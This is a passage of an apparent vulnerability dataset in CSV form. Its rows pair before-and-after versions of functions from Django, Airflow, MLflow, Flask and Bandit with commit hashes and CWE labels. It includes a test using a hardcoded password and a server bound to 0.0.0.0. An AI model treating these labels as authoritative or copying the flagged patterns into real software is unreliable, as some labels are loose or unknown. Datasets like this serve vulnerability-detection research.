        Site.objects.all().delete()
        # Load fixture 1. Single JSON file, with two objects.
        management.call_command('loaddata', 'fixture1.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Try just dumping the contents of fixtures.Category
        self._dumpdata_assert(['fixtures.Category'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}]')

        # ...and just fixtures.Article
        self._dumpdata_assert(['fixtures.Article'], '[{""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # ...and both
        self._dumpdata_assert(['fixtures.Category', 'fixtures.Article'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # Specify a specific model twice
        self._dumpdata_assert(['fixtures.Article', 'fixtures.Article'], '[{""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # Specify a dump that specifies Article both explicitly and implicitly
        self._dumpdata_assert(['fixtures.Article', 'fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Same again, but specify in the reverse order
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Specify one model from one application, and an entire other application.
        self._dumpdata_assert(['fixtures.Category', 'sites'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 1, ""model"": ""sites.site"", ""fields"": {""domain"": ""example.com"", ""name"": ""example.com""}}]')

        # Load fixture 2. JSON file imported by default. Overwrites some existing objects
        management.call_command('loaddata', 'fixture2.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Load fixture 3, XML format.
        management.call_command('loaddata', 'fixture3.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # Load fixture 6, JSON file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture6.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged ""copyright"">',
            '<Tag: <Article: Copyright is fine the way it is> tagged ""law"">',
        ], ordered=False)

        # Load fixture 7, XML file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture7.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged ""copyright"">',
            '<Tag: <Article: Copyright is fine the way it is> tagged ""legal"">',
            '<Tag: <Article: Django conquers world!> tagged ""django"">',
            '<Tag: <Article: Django conquers world!> tagged ""world domination"">',
        ], ordered=False)

        # Load fixture 8, JSON file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture8.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user>',
            '<Visa: Prince >'
        ], ordered=False)

        # Load fixture 9, XML file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture9.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user, Can delete user>',
            '<Visa: Artist formerly known as ""Prince"" Can change user>'
        ], ordered=False)

        self.assertQuerysetEqual(Book.objects.all(), [
            '<Book: Achieving self-awareness of Python programs>',
            '<Book: Music for all ages by Artist formerly known as ""Prince"" and Django Reinhardt>'
        ])

        # Load a fixture that doesn't exist
        management.call_command('loaddata', 'unknown.json', verbosity=0, commit=False)

        # object list is unaffected
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # By default, you get raw keys on dumpdata
        self._dumpdata_assert(['fixtures.book'], '[{""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [3, 1]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # But you can get natural keys if you ask for them and they are available
        self._dumpdata_assert(['fixtures.book'], '[{""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [[""Artist formerly known as \\""Prince\\""""], [""Django Reinhardt""]]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]', natural_keys=True)

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker on TV is great!"", ""pub_date"": ""2006-06-16T11:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Copyright is fine the way it is"", ""pub_date"": ""2006-06-16T14:00:00""}}, {""pk"": 4, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Django conquers world!"", ""pub_date"": ""2006-06-16T15:00:00""}}, {""pk"": 5, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""XML identified as leading cause of cancer"", ""pub_date"": ""2006-06-16T16:00:00""}}, {""pk"": 1, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""copyright"", ""tagged_id"": 3}}, {""pk"": 2, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""legal"", ""tagged_id"": 3}}, {""pk"": 3, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""django"", ""tagged_id"": 4}}, {""pk"": 4, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""world domination"", ""tagged_id"": 4}}, {""pk"": 1, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Django Reinhardt""}}, {""pk"": 2, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Stephane Grappelli""}}, {""pk"": 3, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Artist formerly known as \\""Prince\\""""}}, {""pk"": 1, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Django Reinhardt""], ""permissions"": [[""add_user"", ""auth"", ""user""], [""change_user"", ""auth"", ""user""], [""delete_user"", ""auth"", ""user""]]}}, {""pk"": 2, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Stephane Grappelli""], ""permissions"": [[""add_user"", ""auth"", ""user""], [""delete_user"", ""auth"", ""user""]]}}, {""pk"": 3, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Artist formerly known as \\""Prince\\""""], ""permissions"": [[""change_user"", ""auth"", ""user""]]}}, {""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [[""Artist formerly known as \\""Prince\\""""], [""Django Reinhardt""]]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]', natural_keys=True)

        # Dump the current contents of the database as an XML fixture
        self._dumpdata_assert(['fixtures'], """"""<?xml version=""1.0"" encoding=""utf-8""?>
<django-objects version=""1.0""><object pk=""1"" model=""fixtures.category""><field type=""CharField"" name=""title"">News Stories</field><field type=""TextField"" name=""description"">Latest news stories</field></object><object pk=""2"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Poker on TV is great!</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T11:00:00</field></object><object pk=""3"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Copyright is fine the way it is</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T14:00:00</field></object><object pk=""4"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Django conquers world!</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T15:00:00</field></object><object pk=""5"" model=""fixtures.article""><field type=""CharField"" name=""headline"">XML identified as leading cause of cancer</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T16:00:00</field></object><object pk=""1"" model=""fixtures.tag""><field type=""CharField"" name=""name"">copyright</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">3</field></object><object pk=""2"" model=""fixtures.tag""><field type=""CharField"" name=""name"">legal</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">3</field></object><object pk=""3"" model=""fixtures.tag""><field type=""CharField"" name=""name"">django</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">4</field></object><object pk=""4"" model=""fixtures.tag""><field type=""CharField"" name=""name"">world domination</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">4</field></object><object pk=""1"" model=""fixtures.person""><field type=""CharField"" name=""name"">Django Reinhardt</field></object><object pk=""2"" model=""fixtures.person""><field type=""CharField"" name=""name"">Stephane Grappelli</field></object><object pk=""3"" model=""fixtures.person""><field type=""CharField"" name=""name"">Artist formerly known as ""Prince""</field></object><object pk=""1"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Django Reinhardt</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""2"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Stephane Grappelli</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""3"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Artist formerly known as ""Prince""</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""1"" model=""fixtures.book""><field type=""CharField"" name=""name"">Music for all ages</field><field to=""fixtures.person"" name=""authors"" rel=""ManyToManyRel""><object><natural>Artist formerly known as ""Prince""</natural></object><object><natural>Django Reinhardt</natural></object></field></object><object pk=""10"" model=""fixtures.book""><field type=""CharField"" name=""name"">Achieving self-awareness of Python programs</field><field to=""fixtures.person"" name=""authors"" rel=""ManyToManyRel""></field></object></django-objects>"""""", format='xml', natural_keys=True)"
,UNKNOWN,UNKNOWN,tests/cli/commands/test_internal_api_command.py,1,"def test_cli_internal_api_args(self):
        with mock.patch(""subprocess.Popen"") as Popen, mock.patch.object(
            internal_api_command, ""GunicornMonitor""
        ):
            args = self.parser.parse_args(
                [
                    ""internal-api"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                ]
            )
            internal_api_command.internal_api(args)

            Popen.assert_called_with(
                [
                    sys.executable,
                    ""-m"",
                    ""gunicorn"",
                    ""--workers"",
                    ""4"",
                    ""--worker-class"",
                    ""sync"",
                    ""--timeout"",
                    ""120"",
                    ""--bind"",
                    ""0.0.0.0:9080"",
                    ""--name"",
                    ""airflow-internal-api"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                    ""--access-logfile"",
                    ""-"",
                    ""--error-logfile"",
                    ""-"",
                    ""--config"",
                    ""python:airflow.api_internal.gunicorn_config"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""airflow.cli.commands.internal_api_command:cached_app()"",
                    ""--preload"",
                ],
                close_fds=True,
            )",CWE-605,apache/airflow,b255012cf01ff79357a22a9b5795447c66f2feab,"def test_cli_internal_api_args(self):
        with mock.patch(""subprocess.Popen"") as Popen, mock.patch.object(
            internal_api_command, ""GunicornMonitor""
        ):
            args = self.parser.parse_args(
                [
                    ""internal-api"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                ]
            )
            internal_api_command.internal_api(args)

            Popen.assert_called_with(
                [
                    sys.executable,
                    ""-m"",
                    ""gunicorn"",
                    ""--workers"",
                    ""4"",
                    ""--worker-class"",
                    ""sync"",
                    ""--timeout"",
                    ""120"",
                    ""--bind"",
                    ""0.0.0.0:9080"",
                    ""--name"",
                    ""airflow-internal-api"",
                    ""--pid"",
                    ""/tmp/x.pid"",
                    ""--access-logfile"",
                    ""-"",
                    ""--error-logfile"",
                    ""-"",
                    ""--access-logformat"",
                    ""custom_log_format"",
                    ""airflow.cli.commands.internal_api_command:cached_app()"",
                    ""--preload"",
                ],
                close_fds=True,
            )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/artifact/test_mlflow_artifact_repo.py,0,"def test_log_artifact(mlflow_artifact_repo, tmpdir, artifact_path):
    tmp_path = tmpdir.join(""a.txt"")
    tmp_path.write(""0"")
    with mock.patch(
        ""mlflow.store.artifact.http_artifact_repo.http_request"",
        return_value=MockResponse({}, 200),
    ) as mock_put:
        mlflow_artifact_repo.log_artifact(tmp_path, artifact_path)
        paths = (artifact_path, tmp_path.basename) if artifact_path else (tmp_path.basename,)
        mock_put.assert_called_once_with(
            mlflow_artifact_repo._host_creds,
            posixpath.join(""/"", *paths),
            ""PUT"",
            data=FileObjectMatcher(tmp_path, ""rb""),
        )

    with mock.patch(
        ""mlflow.store.artifact.http_artifact_repo.http_request"",
        return_value=MockResponse({}, 400),
    ):
        with pytest.raises(Exception, match=""request failed""):
            mlflow_artifact_repo.log_artifact(tmp_path, artifact_path)",,mlflow/mlflow,8c796acd04859b885643890e0fcf5be19487713e,"def test_log_artifact(mlflow_artifact_repo, tmpdir, artifact_path):
    tmp_path = tmpdir.join(""a.txt"")
    tmp_path.write(""0"")
    with mock.patch(
        ""mlflow.store.artifact.http_artifact_repo.http_request"",
        return_value=MockResponse({}, 200),
    ) as mock_put:
        mlflow_artifact_repo.log_artifact(tmp_path, artifact_path)
        paths = (artifact_path, tmp_path.basename) if artifact_path else (tmp_path.basename,)
        mock_put.assert_called_once_with(
            mlflow_artifact_repo._host_creds,
            posixpath.join(""/"", *paths),
            ""PUT"",
            data=FileObjectMatcher(tmp_path, ""rb""),
            timeout=mock.ANY,
        )

    with mock.patch(
        ""mlflow.store.artifact.http_artifact_repo.http_request"",
        return_value=MockResponse({}, 400),
    ):
        with pytest.raises(Exception, match=""request failed""):
            mlflow_artifact_repo.log_artifact(tmp_path, artifact_path)"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_first_field_focus(self):
        """"""JavaScript-assisted auto-focus on first usable form field.""""""
        # First form field has a single widget
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/picture/add/'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_name')
        )

        # First form field has a MultiWidget
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/reservation/add/'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_start_date_0')
        )",CWE-259,django/django,f5cfd09c257e5a4ed6d01d32505c48b02e3860d5,"def test_first_field_focus(self):
        """"""JavaScript-assisted auto-focus on first usable form field.""""""
        # First form field has a single widget
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/picture/add/'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_name')
        )

        # First form field has a MultiWidget
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/reservation/add/'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_start_date_0')
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/tests/auth_backends.py,0,"def tearDown(self):
        settings.AUTHENTICATION_BACKENDS = self.curr_auth
        # The custom_perms test messes with ContentTypes, which will
        # be cached; flush the cache to ensure there are no side effects
        # Refs #14975, #14925
        ContentType.objects.clear_cache()",CWE-Unknown,django/django,5f3c45f7458825b5ca88fb60e5349762fb74d5ae,"def tearDown(self):
        settings.AUTHENTICATION_BACKENDS = self.curr_auth
        # The custom_perms test messes with ContentTypes, which will
        # be cached; flush the cache to ensure there are no side effects
        # Refs #14975, #14925
        ContentType.objects.clear_cache()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    You must explicitly provide the mimetype for the filename or file object.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       mimetype guessing and etag support removed for file objects.
       If no mimetype or attachment_filename is provided, application/octet-stream
       will be used.

    :param filename_or_fp: the filename of the file to send in `latin-1`.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided, otherwise
                     auto detection happens.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    """"""
    mtime = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        file = None
    else:
        file = filename_or_fp
        filename = getattr(file, 'name', None)

    if filename is not None:
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
    if mimetype is None and (filename or attachment_filename):
        mimetype = mimetypes.guess_type(filename or attachment_filename)[0]
    if mimetype is None:
        mimetype = 'application/octet-stream'

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            if filename is None:
                raise TypeError('filename unavailable, required for '
                                'sending as attachment')
            attachment_filename = os.path.basename(filename)
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        headers['Content-Length'] = os.path.getsize(filename)
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            headers['Content-Length'] = os.path.getsize(filename)
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    # if we know the file modification date, we can store it as
    # the time of the last modification.
    if mtime is not None:
        rv.last_modified = int(mtime)

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None and file is None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

        if conditional:
            rv = rv.make_conditional(request)
            # make sure we don't send x-sendfile for servers that
            # ignore the 304 status code for x-sendfile.
            if rv.status_code == 304:
                rv.headers.pop('x-sendfile', None)
    return rv",,pallets/flask,8458cc5cd10bac1dabea3dae86424bce46926a49,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    :param filename_or_fp: the filename of the file to send in `latin-1`.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided, otherwise
                     auto detection happens.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    """"""
    mtime = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        file = None
    else:
        from warnings import warn
        file = filename_or_fp
        filename = getattr(file, 'name', None)

        # XXX: this behavior is now deprecated because it was unreliable.
        # removed in Flask 1.0
        if not attachment_filename and not mimetype \
           and isinstance(filename, string_types):
            warn(DeprecationWarning('The filename support for file objects '
                'passed to send_file is now deprecated.  Pass an '
                'attach_filename if you want mimetypes to be guessed.'),
                stacklevel=2)
        if add_etags:
            warn(DeprecationWarning('In future flask releases etags will no '
                'longer be generated for file objects passed to the send_file '
                'function because this behavior was unreliable.  Pass '
                'filenames instead if possible, otherwise attach an etag '
                'yourself based on another value'), stacklevel=2)

    if filename is not None:
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
    if mimetype is None and (filename or attachment_filename):
        mimetype = mimetypes.guess_type(filename or attachment_filename)[0]
    if mimetype is None:
        mimetype = 'application/octet-stream'

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            if filename is None:
                raise TypeError('filename unavailable, required for '
                                'sending as attachment')
            attachment_filename = os.path.basename(filename)
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        headers['Content-Length'] = os.path.getsize(filename)
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            headers['Content-Length'] = os.path.getsize(filename)
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    # if we know the file modification date, we can store it as
    # the time of the last modification.
    if mtime is not None:
        rv.last_modified = int(mtime)

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

        if conditional:
            rv = rv.make_conditional(request)
            # make sure we don't send x-sendfile for servers that
            # ignore the 304 status code for x-sendfile.
            if rv.status_code == 304:
                rv.headers.pop('x-sendfile', None)
    return rv"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/issue.py,0,"def __init__(self, severity, confidence=constants.CONFIDENCE_DEFAULT,
                 text="""", ident=None, lineno=None, test_id=""""):
        self.severity = severity
        self.confidence = confidence
        if isinstance(text, bytes):
            text = text.decode('utf-8')
        self.text = text
        self.ident = ident
        self.fname = """"
        self.test = """"
        self.test_id = test_id
        self.lineno = lineno
        self.linerange = []",UNKNOWN,PyCQA/bandit,a047e0fec0fbd000740ce86c51792da88118eb03,"def __init__(self, severity, confidence=constants.CONFIDENCE_DEFAULT,
                 text="""", ident=None, lineno=None, test_id=""""):
        self.severity = severity
        self.confidence = confidence
        self.text = text
        self.ident = ident
        self.fname = """"
        self.test = """"
        self.test_id = test_id
        self.lineno = lineno
        self.linerange = []"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/autologging_utils/logging_and_warnings.py,0,"def _patched_showwarning(self, message, category, filename, lineno, *args, **kwargs):
        """"""
        A patched implementation of `warnings.showwarning` that enforces the warning configuration
        options configured on the controller (e.g. rerouting or disablement of MLflow warnings,
        disablement of all warnings for the current thread).

        Note that reassigning `warnings.showwarning` is the standard / recommended approach for
        modifying warning message display behaviors. For reference, see
        https://docs.python.org/3/library/warnings.html#warnings.showwarning
        """"""
        # NB: We explicitly avoid blocking on the `self._state_lock` lock during `showwarning`
        # to so that threads don't have to execute serially whenever they emit warnings with
        # `warnings.warn()`. We only lock during configuration changes to ensure that
        # `warnings.showwarning` is patched or unpatched at the correct times.

        from mlflow.utils.autologging_utils import _logger

